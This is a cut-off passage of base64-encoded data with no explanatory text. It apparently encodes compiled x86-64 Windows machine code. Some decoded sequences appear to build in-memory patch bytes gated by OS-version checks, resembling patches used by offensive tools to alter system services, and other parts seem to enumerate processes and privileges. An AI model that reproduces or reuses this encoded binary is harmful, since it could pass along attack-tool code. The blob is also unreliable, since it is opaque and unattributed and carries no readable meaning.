0nZol9F3IJSItN7+gQgAAASIvDSItNR0gzzOiReQAATI2cJOAAAABJi1sYSYtzIEmLeyhJi+Ndw0iJXCQIV0iD7CBIiw3P3AMAvykAAABIjRVToQIAjV/36BuJ/f9IjRWQlgIASIvI6AyJ/f9IjRXdoQIASIvI6KWj/f8Pt9NIi8joDib+/0iNFZsNAwBIi8joi6P9/w+310iLyOj0Jf7/SIvISIvY6F3Z/f9Ii8vowU79/0iLXCQwsAFIg8QgX8NAU0iD7GBIiwWrwgMASDPESIlEJFC59f////8VGD0CAEiNVCQ4SIvYM8BIi8uJRCQw/xURPQIAD79MJDhED79EJDpED6/BRItMJDBIjUQkNLogAAAASIvLSIlEJCD/Fd08AgCLVCQwSIvL/xXAPAIAsAFIi0wkUEgzzOhxeAAASIPEYFvDzMzMMsDDzEBTSIPsIEiLDb/bAwBIjRXYDAMA6BOI/f9Ii8hIi9jomNj9/0iLy+j8Tf3/sAFIg8QgW8NAU0iD7CBIiw2L2wMASI0VzAwDAOjfh/3/SIvISIvY6GTY/f9Ii8voyE39/7ABSIPEIFvDSIvEU0iB7CABAADHQAjoAwAASItBCEiL2Ug5AXRSSI1MJCDo/J39/0iLE0iNTCQw6GfZ/f9IjZQkMAEAAEiNTCQg6LUp/v9IjYwkuAAAAOhUnv3/TI0dyUICAEiNjCS4AAAATImcJLgAAADoGE0AAEiLDe3aAwBIjRVuDAMA6EGH/f+LlCQwAQAASIvI6IZL/f9IjRVDDAMASIvI6COH/f9Ii8joF039/4uMJDABAAD/FX47AgBIiw2n2gMASI0VQAwDAOj7hv3/SIvISIvY6IDX/f9Ii8vo5Ez9/7ABSIHEIAEAAFvDzEiJXCQISIl0JBBIiXwkGFVBVEFVSIvsSIHsgAAAAEiLBbfAAwBIM8RIiUX4RTPkM9JMjUWgjXoCSMdFwAcAAABMiWW4i89mRIllqESJZaD/Fac8AgCEwA+FpgAAAP8VcTkCAD3qAAAAD4WVAAAAi1Wgi8dNjWwk/0j34kkPQMVIi8joMVMAAEyNRaCLz0iL0EiL2P8VYzwCAITAQA+VxkCE9nQeM8BJi81Ii/tm8q9Ii9NI99FMjUH/SI1NqOguWv3/SIvL6LJ8AABAhPZ0NEiLDabZAwBIjRX3CwMA6PqF/f9IjVWoSIvI6MbX/f9Ii8hIi/joc9b9/0iLz+jXS/3/6z9IjU3QRTPAsgHoexn+/0iLDWTZAwBIjRXVCwMASIv46LWF/f9Ii9dIi8jogtf9/0iDfegIcglIi03Q6EJ8AABIg33ACHIJSItNqOgyfAAAsAFIi034SDPM6LR1AABMjZwkgAAAAEmLWyBJi3MoSYt7MEmL40FdQVxdw8zMzEBTSIHsgAAAAEiLBUy/AwBIM8RIiUQkcDPbSI1MJCBIx0QkOAcAAABIiVwkMGaJXCQg6JEa/v+EwHQ1SIsNutgDAEiNFevvAgDoDoX9/0iNVCQgSIvI6NnW/f9Ii8hIi9johtX9/0iLy+jqSv3/60JIjUwkSEUzwLIB6I0Y/v9Iiw122AMASI0VHwsDAEiL2OjHhP3/SIvTSIvI6JTW/f9Ig3wkYAhyCkiLTCRI6FJ7AABIg3wkOAhyCkiLTCQg6EB7AACwAUiLTCRwSDPM6MF0AABIgcSAAAAAW8NIiVwkEEiJdCQYVVdBVEiNbCS5SIHs4AAAAEiLBV++AwBIM8RIiUU3M/9Ii9lIjRXcCgMASIk5SIl5CEiJeRBEjWcIjXcHSI1Nh0WLxEiJfZdmiX2HSIl1n+g2WP3/TI0dAwMAAEiNVYdIjU3fSYPJ/0UzwEyJXddIiXX3SIl972aJfd/o81b9/0iJdR9IiX0XZol9B0w5ZZ9yCUiLTYfohHoAAEiNVddIi8tIiXWfSIl9l2aJfYfoDNr+/0w5ZR9yCUiLTQfoXXoAAEiJdR9IiX0XZol9B0w5ZfdyCUiLTd/oQnoAAEiNFTsKAwBIjU2HQbgJAAAASIl1n0iJfZdmiX2H6IxX/f9MjR0xBgAASI1Vh0iNTd9Jg8n/RTPATIld10iJdfdIiX3vZol93+hJVv3/SIl1H0iJfRdmiX0HTDlln3IJSItNh+jaeQAASI1V10iLy0iJdZ9IiX2XZol9h+hi2f7/TDllH3IJSItNB+izeQAASIl1H0iJfRdmiX0HTDll93IJSItN3+iYeQAASI0VsQkDAEiNTYdBuEEAAABIiXWfSIl9l2aJfYfo4lb9/0iNFRcKAwBIjU2vTYvESIl1x0iJfb9miX2v6MNW/f9MjU2HTI1Fr0iNFagTAABIjU3X6Pup/v9Ii8tIi9Do1Nj+/0w5ZR9yCUiLTQfoJXkAAEiJdR9IiX0XZol9B0w5ZfdyCUiLTd/oCnkAAEiNFcMJAwBIjU2vQbg3AAAASIl1x0iJfb9miX2v6FRW/f9IjRURCgMASI1Nh0G4CgAAAEiJdZ9IiX2XZol9h+gyVv3/TI1Nr0yNRYdIjRWfBwAASI1N1+hqqf7/SIvLSIvQ6EPY/v9MOWUfcglIi00H6JR4AABIiXUfSIl9F2aJfQdMOWX3cglIi03f6Hl4AABIjRXCCQMASI1Nr0G4bQAAAEiJdcdIiX2/Zol9r+jDVf3/SI0VgAoDAEiNTYdBuAwAAABIiXWfSIl9l2aJfYfooVX9/0yNTa9MjUWHSI0VrgcAAEiNTdfo2aj+/0iLy0iL0Oiy1/7/TDllH3IJSItNB+gDeAAASIl1H0iJfRdmiX0HTDll93IJSItN3+jodwAASIvDSItNN0gzzOhpcQAATI2cJOAAAABJi1soSYtzMEmL40FcX13DzEiJXCQQSIl0JBhVV0FVQVZBV0iNbCTJSIHsoAAAAEiLBfO6AwBIM8RIiUUvTIsBSItJCEUz9kkryEi4Z2ZmZmZmZmZMiXW3TIl1v0yJdcdI9+lIwfoESI1Nt0iLwkjB6D9IA9BI99pIG9JJI9DoBmH+/0iLfbdFjX4HhMAPhJcCAABIiw0v1AMASI0VgAkDAOiDgP3/SIvISIvY6AjR/f9Ii8vobEb9/0g7fb8PhLkCAABBjU4GSI13BEWNbgWNeQONUf6LBkE7xXdfdFGFwHRE/8h0NP/IdCH/yHQU/8h1WUSNQAxIjRW0DAMA6YYAAABIjRWYDAMA63pBuAwAAABIjRVpDAMA625Mi8dIjRVFDAMA62JIjRUsDAMA61ZMi8JIjRWYDAMA600rwXQ//8h0L//IdB//yHQPQbgBAAAASI0V2bECAOsuTIvCSI0VrQwDAOsiTIvCSI0VkQwDAOsWTYvFSI0VdQwDAOsKSI0VXAwDAEyLwUiNTQdMiX0fTIl1F2ZEiXUH6J9T/f9IjU33SYvV6OdSAABIix0Y0wMATIvYSIXbdQVJi87rCkiLA0hjSARIA8tJi1MIQf8TTIsbuSAAAABJY0MESYvVZolMGFhIjU3n6KVSAACLVvxIi8tMi+jog0P9/w+310iLyOhAHP7/SIvYSIXAdQVJi87rCkiLAEhjSARIA8tJi1UIQf9VAEyLG7kgAAAASWNDBI1R72aJTBhYSI1N1+hQUgAAixZIi8tMi+joL0P9/w+310iLyOjsG/7/SIvYSIXAdQVJi87rCkiLAEhjSARIA8tJi1UIQf9VAEyLG7kgAAAASWNDBEiNVQdmiUwYWEiLA0hjSARIA8uBYRh//v//g0kYQEiLy+hX0P3/TIvYSIXAdQVJi87rCkiLAEhjSARJA8uBYRi//v//D7ppGAeL10mLy+huG/7/SI1WBEiLyOge0P3/SIvISIvY6MvO/f9Ii8voL0T9/0iDfR8IcglIi00H6Mt0AABIg8YwuQYAAABIjUb8jVH+RI1p/0g7Rb8PhbH9//9Ii32361JIjU0HRTPAsgHooRH+/0iLDYrRAwBIjRUDBwMASIvY6Nt9/f9Ii9NIi8joqM/9/0iLyEiL2OhVzv3/SIvL6LlD/f9Ig30fCHIJSItNB+hVdAAASIX/dDtIO32/dC1IjV8gSIM7CHIJSItL6Og3dAAATIk7TIlz+GZEiXPoSIPDMEiNU+BIO1W/dddIi8/oFXQAALABSItNL0gzzOiXbQAATI2cJKAAAABJi1s4SYtzQEmL40FfQV5BXV9dw8zMzEiJXCQQSIl8JBhVQVRBVUiNbCS5SIHsoAAAAEiLBR63AwBIM8RIiUU/TIsBSItJCEiDZccASINlzwBIg2XXAEkryEi4Z2ZmZmZmZmZI9+lIjU3HSMH6BEiLwkjB6D9IA9BI99pIG9JJI9DoRV/+/0iLfceEwA+EsQEAAEiLDV7QAwBIjRUHBgMA6LJ8/f9Ii8hIi9joN839/0iLy+ibQv3/SDt9zw+E0wEAAEyNZzC/CQAAAESNbxdIjU0HugUAAADo4k8AAEiLHRPQAwBMi9hIhdt1BDPJ6wpIiwNIY0gESAPLSYtTCEH/E0yLG0iNTfdJY0MEugUAAABmRIlsGFjoo08AAEGLVCTUSIvLTIvo6H9A/f8Pt9dIi8joPBn+/0iL2EiFwHUEM8nrCkiLAEhjSARIA8tJi1UIQf9VAEyLG7kgAAAASWNDBI1REGaJTBhYSI1N5+hNTwAAQYtUJNBIi8tMi+joKUD9/w+310iLyOjmGP7/SIvYSIXAdQQzyesKSIsASGNIBEgDy0mLVQhB/1UATIsbQb0gAAAASWNDBEmL1GZEiWwYWEiLA0hjSARIA8uBYRh//v//g0kYQEiLy+hRzf3/TIvYSIXAdQQzyesKSIsASGNIBEkDy4FhGL/+//8PumkYB4vXSYvL6GkY/v9JjVQk2EiLyOgYzf3/SIvISIvY6MXL/f9Ii8voKUH9/0mDxFhJjUQk0Eg7Rc8PhZL+//9Ii33H61JIjU0XRTPAsgHotg7+/0iLDZ/OAwBIjRUYBAMASIvY6PB6/f9Ii9NIi8jovcz9/0iLyEiL2Ohqy/3/SIvL6M5A/f9Ig30vCHIJSItNF+hqcQAASIX/dCNIi99IO33PdBJIi8voJGb+/0iDw1hIO13Pde5Ii8/oQnEAALABSItNP0gzzOjEagAATI2cJKAAAABJi1soSYt7MEmL40FdQVxdw8zMzEiLxFNIgewgAQAATIsBSItJCDPbiVgISSvISLhnZmZmZmZmZkj36UjB+gRIi8JIweg/SAPQSIP6AXVQSI1MJCBJi9DoPLn9/0iNlCQwAQAASI1MJCDoThz+/0iNjCS4AAAASI2cJDABAADo5ZD9/0yNHVo1AgBIjYwkuAAAAEyJnCS4AAAA6Kk/AAAz0kiLy+g3AgAAsAFIgcQgAQAAW8NIi8RIiVgQSIlwGEiJeCBVSI1omEiB7GABAABIiwWuswMASDPESIlFWDP2SIv5SItJCEgrD0i4Z2ZmZmZmZmZIx0VIBwAAAIl0JCSL3kiJdUBI9+lIwfoEZol1MIl0JCBIi8JIweg/SAPQSIP6AXUVSIsXSI1NMEmDyf9FM8DoSUz9/+tgSIP6Ag+FdgEAAEiLF0iNTCQw6Ei4/f9IjVQkJEiNTCQw6F0b/v9Ii1cISI1NMEiD6ihJg8n/RTPASI1cJCToBEz9/0iNTcjo44/9/0yNHVg0AgBIjU3ITIldyOivPgAASDl1QA+EBgEAAEiDfUgISI1NMEiNFVECAwBID0NNMOhDfQAAhcB1CYl0JCDpngAAAEiDfUgISI1NMEiNFToCAwBID0NNMOgcfQAAhcB1CsdEJCABAAAA63ZIg31ICEiNTTBIjRUqAgMASA9DTTDo9HwAAIXAdQrHRCQgAgAAAOtOSIN9SAhIjU0wSI0VIgIDAEgPQ00w6Mx8AACFwHUKx0QkIAMAAADrJkiDfUgISI1NMEiNFQoCAwBID0NNMOikfAAAhcB1F8dEJCAEAAAASI1UJCBIi8voawAAAOsySIsNpssDAEiNFfcBAwDo+nf9/0iNVTBIi8joxsn9/0iLyEiL2OhzyP3/SIvL6Nc9/f9Ig31ICHIJSItNMOhzbgAAsAFIi01YSDPM6PVnAABMjZwkYAEAAEmLWxhJi3MgSYt7KEmL413DSIvESIlYCEiJcBhIiXggVUFUQVVBVkFXSI2ouP7//0iB7CACAABIiwV3sQMASDPESImFGAEAAEUz7UyL+kiL+UiJTCRoSI2VEAEAAEiNTCRIRYr1TIlsJEhMiWwkUEyJbCRYx4UQAQAABAAAAOhm4/7/SI2VEAEAAEiNTCRIx4UQAQAABQAAAOhL4/7/SI2VEAEAAEiNTCRIx4UQAQAAAgAAAOgw4/7/SI2VEAEAAEiNTCRIx4UQAQAAAwAAAOgV4/7/SI1MJEjo88b9/4TAD4SVBwAAQY11B0iNFQQBAwBIjY3AAAAAjV4Ex4UQAQAASDv+dMaFFAEAACJEi8NIiXWITIltgGZEiWwkcEiJdbBMiW2oZkSJbZhIibXYAAAATImt0AAAAGZEia3AAAAA6IRK/f9IjRXBAAMASI2NmAAAAESLw0iJtbAAAABMia2oAAAAZkSJrZgAAADoWEr9/0iNlcAAAABIjUwkcOgjA/7/hMAPhBYGAABMjUXcSI2VmAAAAEiNTfBIiXU4TIltMGZEiW0gSIl1YEyJbVhmRIltSOgt2f3/hMAPhIIFAABEi0XcSItdCESLZRCNTjEz0v8VHikCAEiL8EiFwA+EAQUAAEiJRCQwSo0UI0yNTCRATI2FEAEAAEiLy8ZEJCgBTIlsJEBIx0QkIAUAAADokq/9/4TAD4RrBAAASItcJEBFjUUESI2VEAEAAEiNS/xMi85Eia0QAQAA6Aeu/f9MY60QAQAATAPrM9uEwA+E1gMAAEmLxUiJRCRASI1UJEBMi85BuAgAAABIi8jo1a39/4TAD4RgAwAATDlsJEAPhGMDAAC5oCQAAOjIbAAATIvgSIXAdBIz0kG4oCQAAEiLyOiIygAA6wNMi+NIi0wkQEyLzkG4oCQAAEmL1OiFrf3/RIrwhMAPhAUDAABIhf90DYsPQTlMJDAPhfMCAABIiw1xyAMASI0VOv8CAOjFdP3/SItUJEBIi8johED//0iLyEiL2Og9xf3/SIvL6KE6/f9Iiw0+yAMASI0VM/8CAOiSdP3/SYtUJAhIi8joUUD//0iNFQ7/AgBIi8jodnT9/0mLFCRIi8joNkD//0iLyEiL2OjvxP3/SIvL6FM6/f9Iiw3wxwMASI0V6f4CAOhEdP3/QYtUJDBIi8joizj9/0iLyEiL2Oi8xP3/SIvL6CA6/f9Iiw29xwMASI0Vzv4CAOgRdP3/SY1UJDRIi8joBHT9/0iLyEiL2OiJxP3/SIvL6O05/f9Iiw2KxwMASI0Vs/4CAOjec/3/SY2UJIAdAABIi8joznP9/0iLyEiL2OhTxP3/SIvL6Lc5/f9Iiw1UxwMASI0Vlf4CAOioc/3/SY2UJMIdAABIi8jomHP9/0iLyEiL2OgdxP3/SIvL6IE5/f9Bi5QkmCQAAEiNjegAAADo9QUAAEiLDQrHAwBIjRVj/gIASIvY6Ftz/f9Bi5QkmCQAAEiLyOifN/3/SI0VwIACAEiLyOg8c/3/SIvTSIvI6AnF/f9IjRXeagIASIvI6CJz/f9Ii8hIi9jop8P9/0iLy+gLOf3/SIO9AAEAAAhyDEiLjegAAADooWkAADPbSMeFAAEAAAcAAABIiZ34AAAAZomd6AAAAE2F/w+E1wAAAEiLTCRARI1DBEyLzkiBwZgkAABJi9fouqv9/0GLF0iNPQiBAgBEivBIjQX2gAIASI1NcEWE9kgPRfjoGgUAAEiLDS/GAwBIjRWg/QIASIvY6IBy/f9BixdIi8joyTb9/0iNFep/AgBIi8joZnL9/0iL00iLyOgzxP3/SI0VtIACAEiLyOhMcv3/SIvXSIvI6EFy/f9Ii8hIi9joxsL9/0iLy+gqOP3/SIO9iAAAAAhyCUiLTXDow2gAAEiLfCRoM8BIx4WIAAAABwAAAEiJhYAAAABmiUVwSIsdl8UDAEiLy+h/wv3/SIvL6OM3/f8z20mLzOiFaAAASItEJEBJO8UPhXT8//9FM+1Ii87/FcMkAgC+BwAAAEiDfWAIcglIi01I6FZoAABIg304CEiJdWBMiW1YZkSJbUgPgtYBAABIi00g6cgBAABIjU1wRTPAsgHoLwX+/0iLDRjFAwBIjRWh/AIASIvY6Glx/f9Ii9NIi8joNsP9/0iLyEiL2Ojjwf3/SIvL6Ec3/f9Ig72IAAAACA+Cbv///0iLTXDo3GcAAOlg////SI1NcEUzwLIB6NEE/v9Iiw26xAMASI0Vk38CAEiL2OgLcf3/SIvTSIvI6NjC/f9Ii8hIi9johcH9/0iLy+jpNv3/SIO9iAAAAAgPghP///9Ii01w6H5nAADpBf///0iNTXBFM8CyAehzBP7/SIsNXMQDAEiNFRX8AgBIi9jorXD9/0iL00iLyOh6wv3/SIvISIvY6CfB/f9Ii8voizb9/0iDvYgAAAAID4K+/v//SItNcOggZwAA6bD+//9IjU1wRTPAsgHoFQT+/0iLDf7DAwBIjRUvfwIASIvY6E9w/f9Ii9NIi8joHML9/0iLyEiL2OjJwP3/SIvL6C02/f9Ig72IAAAACA+CZf7//0iLTXDowmYAAOlX/v//SI1NcEUzwLIB6LcD/v9Iiw2gwwMASI0VgfsCAEiL2Ojxb/3/SIvTSIvI6L7B/f9Ii8hIi9joa8D9/0iLy+jPNf3/SIO9iAAAAAhyCUiLTXDoaGYAAEiDvbAAAAAIcgxIi42YAAAA6FJmAABIg73YAAAACEiJtbAAAABMia2oAAAAZkSJrZgAAAByDEiLjcAAAADoJmYAAEiDfbAISIm12AAAAEyJrdAAAABmRImtwAAAAHIJSItNmOgAZgAASIN9iAhIiXWwTIltqGZEiW2YcgpIi0wkcOjiZQAASItMJEhIhcl0BejTZQAAQYrGSIuNGAEAAEgzzOhRXwAATI2cJCACAABJi1swSYtzQEmLe0hJi+NBX0FeQV1BXF3DSIvESIlYCEiJcBBIiXgYVUFUQVVIjWihSIHs4AAAAEiLBdKoAwBIM8RIiUU3M8CDPR7eAwAGvwIAAADHRauD+AJ/ZsdFp5CQx0UXi4E4BsdFGwAAOYHHRR88BgAAxkUjdcdFJ8eBPAbHRSsAAP//x0Uv/3+QkMZFM+vHRf85hzwGx0UDAAAPhMdFB8eHPAbHRQsAAP//x0UP/3+QkHMRSI11q41fAkyNZadEjW8B6y2DPaHdAwABcxG7DQAAAEiNdRdMjWUni/vrELsIAAAASI11/0yNZQeNewREi+hIjRVs+AIASI1N10G4CwAAAEjHRe8HAAAASIlF52aJRdfoCUL9/zPJSI0VLPgCAEiJTb9miU2vRI1BC0iNTa9Ix0XHBwAAAOjjQf3/RIvfRIlsJDBMiVwkKEiNVddIjU2vRIvLTIvGTIlkJCDowrX9/7ABSItNN0gzzOjUXQAATI2cJOAAAABJi1sgSYtzKEmLezBJi+NBXUFcXcPMzMxAU0iD7CAzwEjHQRgHAAAASIvZSIlBEGaJAYXSdFn/ynRG/8p0M//KdCD/ynQNRI1AAUiNFUufAgDrSUG4CgAAAEiNFQz3AgDrOkG4EwAAAEiNFS35AgDrK0G4DgAAAEiNFb72AgDrHEG4FwAAAEiNFd/4AgDrDUG4BwAAAEiNFXj2AgDoB0H9/0iLw0iDxCBbw8zMSIlcJBBIiXQkGFVXQVVIjWwkuUiB7OAAAABIiwXHpgMASDPESIlFNzP/SIvZSI0VrPkCAEiJOUiJeQhIiXkQjXcHRI1HEUiNTa9IiX2/Zol9r0iJdcfooUD9/0SNbwRIjRUqrwIASI1Nh0WLxUiJdZ9IiX2XZol9h+h+QP3/TI1Nr0yNRYdIjRWrAgAASI1N1+i2k/7/SIvLSIvQ6I/C/v9Ig30fCHIJSItNB+jfYgAASIN99whIiXUfSIl9F2aJfQdyCUiLTd/ow2IAAEiNFTT5AgBIjU2HQbgXAAAASIl1n0iJfZdmiX2H6A1A/f9IjRVyzQIASI1Nr0yLxkiJdcdIiX2/Zol9r+juP/3/TI1Nh0yNRa9IjRV3BwAASI1N1+gmk/7/SIvLSIvQ6P/B/v9Ig30fCHIJSItNB+hPYgAASIN99whIiXUfSIl9F2aJfQdyCUiLTd/oM2IAAEiNFdT4AgBIjU2HQbgaAAAASIl1n0iJfZdmiX2H6H0//f9IjRUizQIASI1Nr0G4BgAAAEiJdcdIiX2/Zol9r+hbP/3/TI1Nh0yNRa9IjRUIBQAASI1N1+iTkv7/SIvLSIvQ6GzB/v9Ig30fCHIJSItNB+i8YQAASIN99whIiXUfSIl9F2aJfQdyCUiLTd/ooGEAAEiNFXn4AgBIjU2HQbgQAAAASIl1n0iJfZdmiX2H6Oo+/f9IjRXvzAIASI1Nr02LxUiJdcdIiX2/Zol9r+jLPv3/TI1Nh0yNRa9IjRUwCAAASI1N1+gDkv7/SIvLSIvQ6NzA/v9Ig30fCHIJSItNB+gsYQAASIN99whIiXUfSIl9F2aJfQdyCUiLTd/oEGEAAEiNFRn4AgBIjU2HQbgpAAAASIl1n0iJfZdmiX2H6Fo+/f9IjRVP+AIASI1Nr02LxUiJdcdIiX2/Zol9r+g7Pv3/TI1Nh0yNRa9IjRWACQAASI1N1+hzkf7/SIvLSIvQ6EzA/v9Ig30fCHIJSItNB+icYAAASIN99whIiXUfSIl9F2aJfQdyCUiLTd/ogGAAAEiLw0iLTTdIM8zoAVoAAEyNnCTgAAAASYtbKEmLczBJi+NBXV9dw8xIiVwkEEiJdCQYSIl8JCBVQVRBVUFWQVdIi+xIgeyAAAAASIsFh6MDAEgzxEiJRfBIi9m5IAAAAOgTYQAARTP2SIvwSIXAdA1MiTBMiXAITIlwEOsDSYv2SIsLSDtLCHUGRIl1oOsSSIN5GAhyA0iLCegqiAAAiUWgSItDCEiNfaBIOQNJD0T+M9KNSgT/Fe0cAgBMi+BIg/j/D4Q6AgAASI1VyEG/HAAAAEiLyESJfcj/FQEdAgCFwEEPlcVFhO0PhKoAAABIhf90C4tF1DkHD4WFAAAATItGCEiNRchJO8BzUUiNRchIOQZ3SEiNTchIuCVJkiRJkiRJSCsOSPfpSIvaSMH7A0iLw0jB6D9IA9hMO0YQdQhIi87ouUb+/0iLTghIa9scSAMeSIXJdChIi9PrG0w7RhB1CEiLzuiWRv7/SItOCEiFyXQMSI1VyE2Lx+gxWwAATAF+CEiNVchJi8z/FWAcAgCFwA+FVv///0mLzP8VNxsCAEWE7Q+EWAEAAEiLDce7AwBIjRVA9gIA6Bto/f9Ii8hIi9jooLj9/0iLy+gELv3/SIseSDteCA+EdwEAAEG9BQAAAEiNTahJi9XoUTsAAEiLPYK7AwBMi9hIhf91BUmLzusKSIsHSGNIBEgDz0mLUwhB/xNMix+5IAAAAEljQwRJi9VmiUw4WEiNTbjoDzsAAItTDEiLz0yL4OjtK/3/ugkAAABIi8joqAT+/0iL+EiFwHUFSYvO6wpIiwBIY0gESAPPSYtUJAhB/xQkTIsfuSAAAABJY0MESYvVZolMOFhIjU3I6Lc6AACLUwhIi89Mi+DolSv9/7oJAAAASIvI6FAE/v9Ii/hIhcB1BUmLzusKSIsASGNIBEgDz0mLVCQIQf8UJEyLH7kgAAAASWNDBGaJTDhYi1MQSIvP6Bhf//9Ii8hIi/jofbf9/0iLz+jhLP3/SQPfSDteCA+F4/7//+tSSI1NyEUzwLIB6Hj6/f9Iiw1hugMASI0V+vQCAEiL2OiyZv3/SIvTSIvI6H+4/f9Ii8hIi9joLLf9/0iLy+iQLP3/SIN94AhyCUiLTcjoLF0AAEiF9nQgSIsOSIXJdAXoGl0AAEiLzkyJNkyJdghMiXYQ6AddAACwAUiLTfBIM8zoiVYAAEyNnCSAAAAASYtbOEmLc0BJi3tISYvjQV9BXkFdQVxdw0iJXCQQSIlsJBhIiXQkIFdBVEFVSIPsYEiLBRGgAwBIM8RIiUQkWEiLGUiL8Ug7WQgPhHsBAABFM+1Ig3sYCHIFSIsL6wNIi8vo0oQAAIvohcAPhAgBAABIjUwkILoFAAAA6DE5AABIiw1iuQMASI0VQ/QCAEyL4OizZf3/SIv4SIXAdQVJi83rCkiLAEhjSARIA89Ji1QkCEH/FCRMix+5IAAAAEljQwSL1WaJTDhYSIvP6Mwp/f9IjRXh8wIASIvI6Gll/f8z0kSLxY1KAv8VexkCAEiL+EiFwHQrSIP4/3QlSIvI/xV0GQIASIvP/xU7GAIASIsN1LgDAEiNFX1zAgDpgAAAAEiNTCQwRTPAsgHoyfj9/0iLDbK4AwBIjRWj8wIASIv46ANl/f9Ii9dIi8jo0Lb9/0iDfCRICHIKSItMJDDojlsAAEjHRCRIBwAAAEyJbCRAZkSJbCQw6y1Iiw1puAMASI0VqvMCAOi9ZP3/SIvTSIvI6Iq2/f9IjRV78wIASIvI6KNk/f9Iiz08uAMASIvP6CS1/f9Ii8/oiCr9/0iDwyhIO14ID4WI/v//sAFIi0wkWEgzzOinVAAATI1cJGBJi1soSYtrMEmLczhJi+NBXUFcX8PMSIlcJBBIiWwkGEiJdCQgV0FUQVVIg+xgSIsFNZ4DAEgzxEiJRCRYSIsZSIvxSDtZCA+EewEAAEUz7UiDexgIcgVIiwvrA0iLy+j2ggAAi+iFwA+ECAEAAEiNTCQgugUAAADoVTcAAEiLDYa3AwBIjRVn8gIATIvg6Ndj/f9Ii/hIhcB1BUmLzesKSIsASGNIBEgDz0mLVCQIQf8UJEyLH7kgAAAASWNDBIvVZolMOFhIi8/o8Cf9/0iNFZXyAgBIi8jojWP9/zPSRIvFjUoC/xWfFwIASIv4SIXAdCtIg/j/dCVIi8j/FZAXAgBIi8//FV8WAgBIiw34tgMASI0VoXECAOmAAAAASI1MJDBFM8CyAejt9v3/SIsN1rYDAEiNFU/yAgBIi/joJ2P9/0iL10iLyOj0tP3/SIN8JEgIcgpIi0wkMOiyWQAASMdEJEgHAAAATIlsJEBmRIlsJDDrLUiLDY22AwBIjRXO8QIA6OFi/f9Ii9NIi8jorrT9/0iNFZ/xAgBIi8jox2L9/0iLPWC2AwBIi8/oSLP9/0iLz+isKP3/SIPDKEg7XggPhYj+//+wAUiLTCRYSDPM6MtSAABMjVwkYEmLWyhJi2swSYtzOEmL40FdQVxfw8xIiVwkEEiJbCQYSIl0JCBXQVRBVUiD7GBIiwVZnAMASDPESIlEJFhIixlIi/FIO1kID4R9AQAARTPtSIN7GAhyBUiLC+sDSIvL6BqBAACL6IXAD4QKAQAASI1MJCC6BQAAAOh5NQAASIsNqrUDAEiNFYvwAgBMi+Do+2H9/0iL+EiFwHUFSYvN6wpIiwBIY0gESAPPSYtUJAhB/xQkTIsfuSAAAABJY0MEi9VmiUw4WEiLz+gUJv3/SI0VEfECAEiLyOixYf3/M9JEi8WNSgH/FcMVAgBIi/hIhcB0LUiD+P90JzPSSIvI/xWaFQIASIvP/xWBFAIASIsNGrUDAEiNFcNvAgDpgAAAAEiNTCQwRTPAsgHoD/X9/0iLDfi0AwBIjRW58AIASIv46Elh/f9Ii9dIi8joFrP9/0iDfCRICHIKSItMJDDo1FcAAEjHRCRIBwAAAEyJbCRAZkSJbCQw6y1Iiw2vtAMASI0V8O8CAOgDYf3/SIvTSIvI6NCy/f9IjRXB7wIASIvI6Olg/f9Iiz2CtAMASIvP6Gqx/f9Ii8/ozib9/0iDwyhIO14ID4WG/v//sAFIi0wkWEgzzOjtUAAATI1cJGBJi1soSYtrMEmLczhJi+NBXUFcX8PMzMxIiVwkEEiJbCQYSIl0JCBXQVRBVUiD7GBIiwV5mgMASDPESIlEJFhIixlIi/FIO1kID4RjAQAARTPtSIN7GAhyBUiLC+sDSIvL6Dp/AACL6IXAD4TwAAAASI1MJCC6BQAAAOiZMwAASIsNyrMDAEiNFavuAgBMi+DoG2D9/0iL+EiFwHUFSYvN6wpIiwBIY0gESAPPSYtUJAhB/xQkTIsfuSAAAABJY0MEi9VmiUw4WEiLz+g0JP3/SI0Vee8CAEiLyOjRX/3/RTPJRTPAQY1REovN/xUXFgIAhcB0E0iLDVSzAwBIjRX9bQIA6YAAAABIjUwkMEUzwLIB6Enz/f9Iiw0yswMASI0VU+8CAEiL+OiDX/3/SIvXSIvI6FCx/f9Ig3wkSAhyCkiLTCQw6A5WAABIx0QkSAcAAABMiWwkQGZEiWwkMOstSIsN6bIDAEiNFSruAgDoPV/9/0iL00iLyOgKsf3/SI0V++0CAEiLyOgjX/3/SIs9vLIDAEiLz+ikr/3/SIvP6Agl/f9Ig8MoSDteCA+FoP7//7ABSItMJFhIM8zoJ08AAEyNXCRgSYtbKEmLazBJi3M4SYvjQV1BXF/DzEiJXCQQSIl0JBhVV0FVSI1sJLlIgezgAAAASIsFs5gDAEgzxEiJRTcz/0iL2UiNFUitAgBIiTlIiXkISIl5EI13B0SNRzFIjU2vSIl9v2aJfa9IiXXH6I0y/f9EjW8FSI0VDpUCAEiNTYdFi8VIiXWfSIl9l2aJfYfoajL9/0yNTa9MjUWHSI0VpwIAAEiNTdfoooX+/0iLy0iL0Oh7tP7/SIN9HwhyCUiLTQfoy1QAAEiDffcISIl1H0iJfRdmiX0HcglIi03f6K9UAABIjRUI7gIASI1Nh0G4MAAAAEiJdZ9IiX2XZol9h+j5Mf3/SI0VTu4CAEiNTa9Ni8VIiXXHSIl9v2aJfa/o2jH9/0yNTYdMjUWvSI0VPwUAAEiNTdfoEoX+/0iLy0iL0Ojrs/7/SIN9HwhyCUiLTQfoO1QAAEiDffcISIl1H0iJfRdmiX0HcglIi03f6B9UAABIjRX47QIASI1Nh0G4KwAAAEiJdZ9IiX2XZol9h+hpMf3/SI0VLu4CAEiNTa9Mi8ZIiXXHSIl9v2aJfa/oSjH9/0yNTYdMjUWvSI0VxwQAAEiNTdfogoT+/0iLy0iL0Ohbs/7/SIN9HwhyCUiLTQfoq1MAAEiDffcISIl1H0iJfRdmiX0HcglIi03f6I9TAABIjRXQ7QIASI1Nh0G4GwAAAEiJdZ9IiX2XZol9h+jZMP3/SI0V3r0CAEiNTa9Ni8VIiXXHSIl9v2aJfa/oujD9/0yNTYdMjUWvSI0VTwQAAEiNTdfo8oP+/0iLy0iL0OjLsv7/SIN9HwhyCUiLTQfoG1MAAEiDffcISIl1H0iJfRdmiX0HcglIi03f6P9SAABIjRV47QIASI1Nh0G4EgAAAEiJdZ9IiX2XZol9h+hJMP3/SI0Vfu0CAEiNTa9Ni8VIiXXHSIl9v2aJfa/oKjD9/0yNTYdMjUWvSI0VbwAAAEiNTdfoYoP+/0iLy0iL0Og7sv7/SIN9HwhyCUiLTQfoi1IAAEiDffcISIl1H0iJfRdmiX0HcglIi03f6G9SAABIi8NIi003SDPM6PBLAABMjZwk4AAAAEmLWyhJi3MwSYvjQV1